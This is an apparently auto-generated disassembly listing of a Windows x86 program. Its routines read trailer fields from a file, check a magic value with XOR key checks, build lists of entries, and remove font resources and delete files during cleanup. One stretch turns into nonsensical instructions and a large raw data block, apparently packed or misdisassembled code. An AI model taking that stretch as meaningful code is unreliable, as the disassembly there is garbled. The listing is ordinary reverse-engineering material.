		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_424708	; SetFilePointer
		mov	[ebp-84h], eax
		push	0
		lea	ecx, [ebp-80h]
		push	ecx
		push	1
		lea	edx, [ebp-7Ch]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jnz	short loc_41751B
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_41751B:				; CODE XREF: _3:0041750Fj
		cmp	dword ptr [ebp-7Ch], 0
		jz	short loc_417523
		jmp	short loc_417537
; ---------------------------------------------------------------------------


loc_417523:				; CODE XREF: _3:0041751Fj
		mov	ecx, [ebp-70h]
		sub	ecx, 1
		mov	[ebp-70h], ecx
		mov	edx, [ebp-4Ch]
		sub	edx, 1
		mov	[ebp-4Ch], edx
		jmp	short loc_4174DC
; ---------------------------------------------------------------------------


loc_417537:				; CODE XREF: _3:00417451j _3:00417464j ...
		push	2
		push	0
		mov	eax, [ebp-70h]
		sub	eax, 4
		push	eax
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_424708	; SetFilePointer
		mov	[ebp-6Ch], eax
		mov	dword ptr [ebp-88h], 0
		push	0
		lea	edx, [ebp-88h]
		push	edx
		push	4
		lea	eax, [ebp-8Ch]
		push	eax
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_417582
		cmp	dword ptr [ebp-88h], 4
		jz	short loc_41758C


loc_417582:				; CODE XREF: _3:00417577j
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_41758C:				; CODE XREF: _3:00417580j
		cmp	dword ptr [ebp-8Ch], 0CAFEBABEh
		jz	short loc_4175AF
		mov	edx, [ebp-8Ch]
		xor	edx, 0CAFEBABEh
		xor	edx, [ebp-4Ch]
		mov	[ebp-24Ch], edx
		jmp	short loc_4175BA
; ---------------------------------------------------------------------------


loc_4175AF:				; CODE XREF: _3:00417596j
		mov	eax, ds:dword_423BB0
		mov	[ebp-24Ch], eax


loc_4175BA:				; CODE XREF: _3:004175ADj
		mov	ecx, [ebp-24Ch]
		mov	[ebp-90h], ecx
		mov	edx, [ebp+0Ch]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4175EE
		mov	eax, offset dword_423BB0
		lea	ecx, [ebp-90h]
		mov	edx, [ecx]
		cmp	edx, [eax]
		jz	short loc_4175EE
		mov	ecx, 0EF000007h
		call	sub_41BA32


loc_4175EE:				; CODE XREF: _3:004175D1j _3:004175E2j
		push	2
		push	0
		mov	eax, [ebp-70h]
		sub	eax, 14h
		push	eax
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_424708	; SetFilePointer
		mov	dword ptr [ebp-94h], 0
		push	0
		lea	edx, [ebp-94h]
		push	edx
		push	10h
		lea	eax, [ebp-44h]
		push	eax
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_417633
		cmp	dword ptr [ebp-94h], 10h
		jz	short loc_41763D


loc_417633:				; CODE XREF: _3:00417628j
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_41763D:				; CODE XREF: _3:00417631j
		mov	edx, [ebp+10h]
		and	edx, 0FFh
		neg	edx
		sbb	edx, edx
		and	edx, 0Ch
		mov	[ebp-60h], edx
		push	2
		push	0
		mov	eax, [ebp-60h]
		add	eax, 2Ch
		mov	ecx, [ebp-70h]
		sub	ecx, eax
		push	ecx
		mov	edx, [ebp-28h]
		push	edx
		call	ds:dword_424708	; SetFilePointer
		mov	dword ptr [ebp-98h], 0
		mov	eax, [ebp+10h]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_417714
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-2Ch]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_4176AA
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_4176B4


loc_4176AA:				; CODE XREF: _3:0041769Fj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_4176B4:				; CODE XREF: _3:004176A8j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-48h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_4176DA
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_4176E4


loc_4176DA:				; CODE XREF: _3:004176CFj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_4176E4:				; CODE XREF: _3:004176D8j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-30h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_41770A
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_417714


loc_41770A:				; CODE XREF: _3:004176FFj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417714:				; CODE XREF: _3:0041767Ej _3:00417708j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-58h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_41773A
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_417744


loc_41773A:				; CODE XREF: _3:0041772Fj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417744:				; CODE XREF: _3:00417738j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-68h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_41776A
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_417774


loc_41776A:				; CODE XREF: _3:0041775Fj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417774:				; CODE XREF: _3:00417768j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-34h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_41779A
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_4177A4


loc_41779A:				; CODE XREF: _3:0041778Fj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_4177A4:				; CODE XREF: _3:00417798j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-5Ch]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_4177CA
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_4177D4


loc_4177CA:				; CODE XREF: _3:004177BFj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_4177D4:				; CODE XREF: _3:004177C8j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-64h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_4177FA
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_417804


loc_4177FA:				; CODE XREF: _3:004177EFj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417804:				; CODE XREF: _3:004177F8j
		push	0
		lea	ecx, [ebp-98h]
		push	ecx
		push	4
		lea	edx, [ebp-50h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jz	short loc_41782A
		cmp	dword ptr [ebp-98h], 4
		jz	short loc_417834


loc_41782A:				; CODE XREF: _3:0041781Fj
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417834:				; CODE XREF: _3:00417828j
		mov	ecx, [ebp+10h]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_417A51
		cmp	dword ptr [ebp-48h], 0
		jz	loc_417A51
		cmp	dword ptr [ebp-2Ch], 0
		jz	loc_417A51
		push	24h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-21Ch], eax
		mov	edx, [ebp-21Ch]
		mov	[ebp-9Ch], edx
		mov	eax, [ebp-1Ch]
		add	eax, 1
		push	eax
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-220h], eax
		mov	ecx, [ebp-9Ch]
		mov	edx, [ebp-220h]
		mov	[ecx+0Ch], edx
		mov	ecx, [ebp-1Ch]
		add	ecx, 1
		mov	esi, [ebp+8]
		mov	eax, [ebp-9Ch]
		mov	edi, [eax+0Ch]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp-9Ch]
		mov	dword ptr [eax], 0
		push	10h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-224h], eax
		mov	ecx, [ebp-9Ch]
		mov	edx, [ebp-224h]
		mov	[ecx+4], edx
		push	4
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-228h], eax
		mov	eax, [ebp-9Ch]
		mov	ecx, [ebp-228h]
		mov	[eax+8], ecx
		mov	edx, [ebp-9Ch]
		mov	dword ptr [edx+18h], 1
		mov	eax, [ebp-9Ch]
		mov	dword ptr [eax+14h], 0
		push	0
		push	0
		mov	ecx, [ebp-9Ch]
		add	ecx, 1Ch
		push	ecx
		mov	edx, [ebp-28h]
		push	edx
		call	ds:dword_424684	; GetFileTime
		mov	edi, ds:dword_42488C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, ds:dword_424888
		sub	ecx, [eax+21Ch]
		mov	[ebp-0A0h], ecx
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		push	ecx
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-22Ch], eax
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+4]
		mov	ecx, [ebp-22Ch]
		mov	[eax], ecx
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+4]
		mov	ecx, [ebp-9Ch]
		mov	edx, [ecx+8]
		mov	eax, [eax]
		mov	[edx], eax
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	edx, ds:dword_424888
		mov	esi, ds:dword_42488C
		add	esi, [edx+21Ch]
		mov	eax, [ebp-9Ch]
		mov	edx, [eax+8]
		mov	edi, [edx]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp-0A0h]
		push	ecx
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+8]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_424748	; CharUpperBuffA
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+4]
		mov	ecx, [ebp-2Ch]
		mov	[eax+4], ecx
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+4]
		mov	ecx, [ebp-48h]
		mov	[eax+8], ecx
		mov	edx, [ebp-9Ch]
		mov	eax, [edx+4]
		mov	ecx, [ebp-30h]
		mov	[eax+0Ch], ecx
		mov	edx, ds:dword_424888
		mov	[ebp-0A4h], edx
		mov	eax, [ebp-9Ch]
		mov	ecx, [ebp-0A4h]
		mov	edx, [ecx]
		mov	[eax+10h], edx
		mov	eax, [ebp-0A4h]
		mov	ecx, [ebp-9Ch]
		mov	[eax], ecx
		mov	edx, ds:dword_424888
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, ds:dword_424888
		mov	[ecx+4], eax


loc_417A51:				; CODE XREF: _3:0041783Fj _3:00417849j ...
		mov	edx, [ebp-4Ch]
		sub	edx, [ebp-50h]
		mov	[ebp-50h], edx
		mov	eax, [ebp-34h]
		add	eax, [ebp-50h]
		mov	[ebp-34h], eax
		mov	ecx, [ebp-4Ch]
		sub	ecx, [ebp-34h]
		test	ecx, ecx
		jb	short loc_417A78
		mov	edx, [ebp-4Ch]
		sub	edx, [ebp-34h]
		cmp	[ebp-58h], edx
		jbe	short loc_417A82


loc_417A78:				; CODE XREF: _3:00417A6Bj
		mov	ecx, 0EF000007h
		call	sub_41BA32


loc_417A82:				; CODE XREF: _3:00417A76j
		mov	eax, [ebp-58h]
		push	eax
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-230h], eax
		mov	ecx, [ebp-230h]
		mov	[ebp-24h], ecx
		mov	dword ptr [ebp-178h], 0
		mov	dword ptr [ebp-17Ch], 0
		push	0
		push	0
		mov	edx, [ebp-34h]
		push	edx
		mov	eax, [ebp-28h]
		push	eax
		call	ds:dword_424708	; CODE XREF: _3:00417B39j


loc_417AC3:				; CODE XREF: _3:00417B19j
		mov	ecx, [ebp-17Ch]
		cmp	ecx, [ebp-58h]
		jz	short loc_417B1B
		mov	dword ptr [ebp-178h], 0
		push	0
		lea	edx, [ebp-178h]
		push	edx
		mov	eax, [ebp-58h]
		sub	eax, [ebp-17Ch]
		push	eax
		mov	ecx, [ebp-24h]
		push	ecx
		mov	edx, [ebp-28h]
		push	edx
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jnz	short loc_417B07
		mov	ecx, 0EF000006h
		call	sub_41BA32


loc_417B07:				; CODE XREF: _3:00417AFBj
		mov	eax, [ebp-17Ch]
		add	eax, [ebp-178h]
		mov	[ebp-17Ch], eax
		jmp	short loc_417AC3
; ---------------------------------------------------------------------------


loc_417B1B:				; CODE XREF: _3:00417ACCj
		push	120000h
		call	sub_411B9E
		rcr	ch, 1
		imul	ebp, [esi+75FB48F1h], 0E6C2A7C0h
		fadd	qword ptr [ecx]
		xchg	eax, ecx
		mov	ds:0A7BAE2EFh, eax
		ja	short near ptr loc_417ABD+1
		fstp	tbyte ptr [ecx-64CC94F3h]
		jmp	far ptr	79C1h:0A858C6FBh
; ---------------------------------------------------------------------------
dword_417B48	dd 0A37034C6h, 9DABC4B6h, 738E9490h, 0E3D54F5Ch, 16F1CCD7h
		dd 0CDDAB835h, 0B46ADCAFh, 74F852F6h, 0F69F12Ch, 89A5EB33h
		dd 0BB78C042h, 95A3DCCEh, 6E886C88h, 0FAAD4754h, 0EEF9ECDFh
		dd 0C5D28005h, 0D2339090h, 0EE75D285h, 0FE088D8Dh, 0EDE8FFFFh
		dd 8B000032h, 8B50A845h, 8D51DC4Dh, 0FFFE088Dh,	32E6E8FFh
		dd 958D0000h, 0FFFFFE74h, 88D8D52h, 0E8FFFFFEh,	338Dh
		dd 4B9h, 74BD8D00h, 8DFFFFFEh, 0C033BC75h, 0A74A7F3h, 7B9h
		dd 3E54E8EFh, 246A0000h, 3E65E8h, 4C48300h, 0FDCC8589h
		dd 8D8BFFFFh, 0FFFFFDCCh, 8BE04D89h, 0C283E455h, 47E85201h
		dd 8300003Eh, 858904C4h, 0FFFFFDC8h, 8BE0458Bh,	0FFFDC88Dh
		dd 0C4889FFh, 83E44D8Bh, 758B01C1h, 0E0558B08h,	8B0C7A8Bh
		dd 2E9C1C1h, 0C88BA5F3h, 0F303E183h, 0E04D8BA4h, 89DC558Bh
		dd 0DC458B11h, 8BA44503h, 4189E04Dh, 9C558B04h,	5202E2C1h
		dd 3DF5E8h, 4C48300h, 0FDC48589h, 458BFFFFh, 0C48D8BE0h
		dd 89FFFFFDh, 558B0848h, 9C458BE0h, 8B184289h, 41C7E04Dh
		dd 14h,	6A006A00h, 0E0558B00h, 521CC283h, 50D8458Bh, 468415FFh
		dd 45C70042h, 0ACh, 8B09EB00h, 0C183AC4Dh, 0AC4D8901h
		dd 3BAC558Bh, 830F9C55h, 0E3h, 0C1AC458Bh, 4D8B04E0h, 4518BE0h
		dd 3DC4D8Bh, 558B020Ch,	4E2C1ACh, 8BE0458Bh, 0C890440h
		dd 0AC4D8B10h, 8B04E1C1h, 428BE055h, 83C8B04h, 33FFC983h
		dd 0F7AEF2C0h, 0FFC183D1h, 0FE048D89h, 8D8BFFFFh, 0FFFFFE04h
		dd 5101C183h, 3D49E8h, 4C48300h, 0FDC08589h, 558BFFFFh
		dd 8428BE0h, 8BAC4D8Bh,	0FFFDC095h, 881489FFh, 0FE048D8Bh
		dd 0C183FFFFh, 0AC458B01h, 8B04E0C1h, 528BE055h, 2348B04h
		dd 8BE0458Bh, 458B0850h, 823C8BACh, 0E9C1D18Bh,	8BA5F302h
		dd 3E183CAh, 858BA4F3h,	0FFFFFE04h, 0AC4D8B50h,	8B04E1C1h
		dd 428BE055h, 80C8B04h,	4815FF51h, 8B004247h, 0E2C1AC55h
		dd 0E0458B04h, 8B04488Bh, 3041154h, 458BB055h, 4E0C1ACh
		dd 8BE04D8Bh, 54890449h, 8E90401h, 8BFFFFFFh, 5503DC55h
		dd 0FC7A81A8h, 0FEFEFEFEh, 0A8850Fh, 458B0000h,	0A84503DCh
		dd 89F8488Bh, 0FFFDF88Dh, 0DC558BFFh, 8BA85503h, 8589F442h
		dd 0FFFFFDFCh, 3DC4D8Bh, 0FFFDFC8Dh, 8D89FFh, 0C7FFFFFEh
		dd 0FFFDF485h, 0FFh, 8B0FEB00h,	0FFFDF495h, 1C283FFh, 0FDF49589h
		dd 858BFFFFh, 0FFFFFDF4h, 0FDF8853Bh, 3A73FFFFh, 0FDF48D8Bh
		dd 0C96BFFFFh, 958B18h,	3FFFFFEh, 0F09589D1h, 8BFFFFFDh
		dd 0FFFDF085h, 0DC4D8BFFh, 8B104803h, 0FFFDF095h, 104A89FFh
		dd 0FDF0858Bh, 8589FFFFh, 0FFFFFDECh, 8D8BA9EBh, 0FFFFFE00h
		dd 48700D89h, 958B0042h, 0FFFFFDF8h, 48741589h,	88A10042h
		dd 89004248h, 0FFFDE885h, 0E88D8BFFh, 83FFFFFDh, 840F0039h
		dd 153h, 8908558Bh, 0FFFDB095h,	0E8858BFFh, 8BFFFFFDh
		dd 0C518B08h, 0FDAC9589h, 858BFFFFh, 0FFFFFDACh, 8D88088Ah
		dd 0FFFFFDABh, 0FDB0958Bh, 0A3AFFFFh, 0BD804675h, 0FFFFFDABh
		dd 8B317400h, 0FFFDAC85h, 1488AFFh, 0FDAA8D88h,	958BFFFFh
		dd 0FFFFFDB0h, 75014A3Ah, 0AC858323h, 2FFFFFDh,	0FDB08583h
		dd 8002FFFFh, 0FFFDAABDh, 0AE7500FFh, 0FDA485C7h, 0FFFFh
		dd 0BEB0000h, 0D883C01Bh, 0A48589FFh, 8BFFFFFDh, 0FFFDA48Dh
		dd 0A08D89FFh, 83FFFFFDh, 0FFFDA0BDh, 57D00FFh,	0B6E9h
		dd 88158B00h, 83004248h, 958910C2h, 0FFFFFD9Ch,	0FDE8858Bh
		dd 88BFFFFh, 890C518Bh,	0FFFD9895h, 98858BFFh, 8AFFFFFDh
		dd 978D8808h, 8BFFFFFDh, 0FFFD9C95h, 750A3AFFh,	97BD8046h
		dd 0FFFFFDh, 858B3174h,	0FFFFFD98h, 8801488Ah, 0FFFD968Dh
		dd 9C958BFFh, 3AFFFFFDh, 2375014Ah, 0FD988583h,	8302FFFFh
		dd 0FFFD9C85h, 0BD8002FFh, 0FFFFFD96h, 0C7AE7500h, 0FFFD9085h
		dd 0FFh, 1B0BEB00h, 0FFD883C0h,	0FD908589h, 8D8BFFFFh
		dd 0FFFFFD90h, 0FD8C8D89h, 0BD83FFFFh, 0FFFFFD8Ch, 0EB027500h
		dd 0E8958B16h, 8BFFFFFDh, 10C08302h, 0FDE88589h, 9EE9FFFFh
		dd 8BFFFFFEh, 958BE04Dh, 0FFFFFDE8h, 4189028Bh,	0E88D8B10h
		dd 8BFFFFFDh, 1189E055h, 424888A1h, 4488B00h, 8B9C4D03h
		dd 42488815h, 44A8900h,	0DC45C7h, 0C7000000h, 0E045h, 45C70000h
		dd 0FFFFFFFCh, 2E8FFh, 4DEB0000h, 0FFD87D83h, 458B0A74h
		dd 15FF50D8h, 424624h, 0DC7D83h, 4D8B1874h, 0BC8D89DCh
		dd 8BFFFFFDh, 0FFFDBC95h, 9EE852FFh, 8300003Ah,	7D8304C4h
		dd 187400E0h, 89E0458Bh, 0FFFDB885h, 0B88D8BFFh, 51FFFFFDh
		dd 3A80E8h, 4C48300h, 0F04D8BC3h, 0D8964h, 5F000000h, 0E58B5B5Eh
		dd 0CCCCC35Dh, 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418070	proc near		; CODE XREF: sub_416C60+53Fp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00418295 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421428
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, ds:dword_424888
		mov	dword ptr [eax+0Ch], 0
		mov	ecx, ds:dword_424888
		mov	edx, [ecx+4]
		shl	edx, 4
		push	edx
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_40]
		mov	[ebp+var_1C], eax


loc_4180CB:				; CODE XREF: sub_418070+1E7j
		mov	[ebp+var_34], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_30], 0
		mov	ecx, ds:dword_424888
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		jmp	short loc_4180F6
; ---------------------------------------------------------------------------


loc_4180ED:				; CODE XREF: sub_418070+9Ej
					; sub_418070+132j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		mov	[ebp+var_20], ecx


loc_4180F6:				; CODE XREF: sub_418070+7Bj
		cmp	[ebp+var_20], 0
		jz	loc_4181D9
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_20]
		mov	ecx, [edx+14h]
		cmp	ecx, [eax+18h]
		jnz	short loc_418110
		jmp	short loc_4180ED
; ---------------------------------------------------------------------------


loc_418110:				; CODE XREF: sub_418070+9Cj
		cmp	[ebp+var_30], 0
		jz	loc_4181B2
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		shl	eax, 4
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		mov	[ebp+var_48], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_4C], edx


loc_41813C:				; CODE XREF: sub_418070+FEj
		mov	eax, [ebp+var_4C]
		mov	cl, [eax]
		mov	[ebp+var_4D], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx]
		jnz	short loc_418179
		cmp	[ebp+var_4D], 0
		jz	short loc_418170
		mov	eax, [ebp+var_4C]
		mov	cl, [eax+1]
		mov	[ebp+var_4E], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx+1]
		jnz	short loc_418179
		add	[ebp+var_4C], 2
		add	[ebp+var_48], 2
		cmp	[ebp+var_4E], 0
		jnz	short loc_41813C


loc_418170:				; CODE XREF: sub_418070+DFj
		mov	[ebp+var_54], 0
		jmp	short loc_418181
; ---------------------------------------------------------------------------


loc_418179:				; CODE XREF: sub_418070+D9j
					; sub_418070+F0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_54], eax


loc_418181:				; CODE XREF: sub_418070+107j
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_58]
		mov	[ebp+var_3C], edx
		cmp	[ebp+var_3C], 0
		jnz	short loc_4181A7
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_20]
		mov	[edx+14h], ecx
		jmp	loc_4180ED
; ---------------------------------------------------------------------------


loc_4181A7:				; CODE XREF: sub_418070+121j
		cmp	[ebp+var_3C], 0
		jle	short loc_4181B2
		jmp	loc_4180ED
; ---------------------------------------------------------------------------


loc_4181B2:				; CODE XREF: sub_418070+A4j
					; sub_418070+13Bj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		mov	edx, [ecx+14h]
		shl	edx, 4
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		jmp	loc_4180ED
; ---------------------------------------------------------------------------


loc_4181D9:				; CODE XREF: sub_418070+8Aj
		cmp	[ebp+var_30], 0
		jnz	short loc_4181E1
		jmp	short loc_41825C
; ---------------------------------------------------------------------------


loc_4181E1:				; CODE XREF: sub_418070+16Dj
		mov	ecx, ds:dword_424888
		mov	edx, [ecx+0Ch]
		shl	edx, 4
		mov	eax, [ebp+var_1C]
		add	eax, edx
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+var_34]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_28]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_24]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		sub	ecx, [eax+4]
		sar	ecx, 4
		mov	edx, [ebp+var_28]
		mov	eax, [edx+8]
		mov	edx, [ebp+var_24]
		mov	eax, [eax+ecx*4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, ds:dword_424888
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		mov	edx, ds:dword_424888
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_28]
		mov	[edx+14h], ecx
		jmp	loc_4180CB
; ---------------------------------------------------------------------------


loc_41825C:				; CODE XREF: sub_418070+16Fj
		mov	eax, ds:dword_424888
		mov	ecx, [ebp+var_1C]
		mov	[eax+8], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41827C
		jmp	short loc_418295
sub_418070	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827C	proc near		; CODE XREF: sub_418070+205p
					; DATA XREF: _4:00421430o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_418294
		mov	edx, [ebp-1Ch]
		mov	[ebp-44h], edx
		mov	eax, [ebp-44h]
		push	eax
		call	sub_41BACD
		add	esp, 4

locret_418294:				; CODE XREF: sub_41827C+4j
		retn
sub_41827C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418070


loc_418295:				; CODE XREF: sub_418070+20Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_418070
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182B0	proc near		; CODE XREF: sub_41D6FE+77p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041838E SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421438
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_424868
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4182F4
		mov	ecx, [ebp+var_24]
		add	ecx, 10h
		push	ecx
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	byte ptr [ebp+var_28], 1
		jmp	short loc_4182F8
; ---------------------------------------------------------------------------


loc_4182F4:				; CODE XREF: sub_4182B0+2Fj
		mov	byte ptr [ebp+var_28], 0


loc_4182F8:				; CODE XREF: sub_4182B0+42j
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_41838E
		mov	[ebp+var_4], 0
		cmp	ds:dword_424868, 0
		jz	short loc_418363
		mov	ecx, ds:dword_424868
		call	sub_41ED42


loc_418324:				; CODE XREF: sub_4182B0:loc_418361j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, ds:dword_424868
		call	sub_41ED59
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_418363
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jnz	short loc_418361
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_42476C	; RemoveFontResourceA
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		push	eax
		call	ds:dword_424640	; DeleteFileA


loc_418361:				; CODE XREF: sub_4182B0+96j
		jmp	short loc_418324
; ---------------------------------------------------------------------------


loc_418363:				; CODE XREF: sub_4182B0+67j
					; sub_4182B0+8Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_418371
		jmp	short loc_41838E
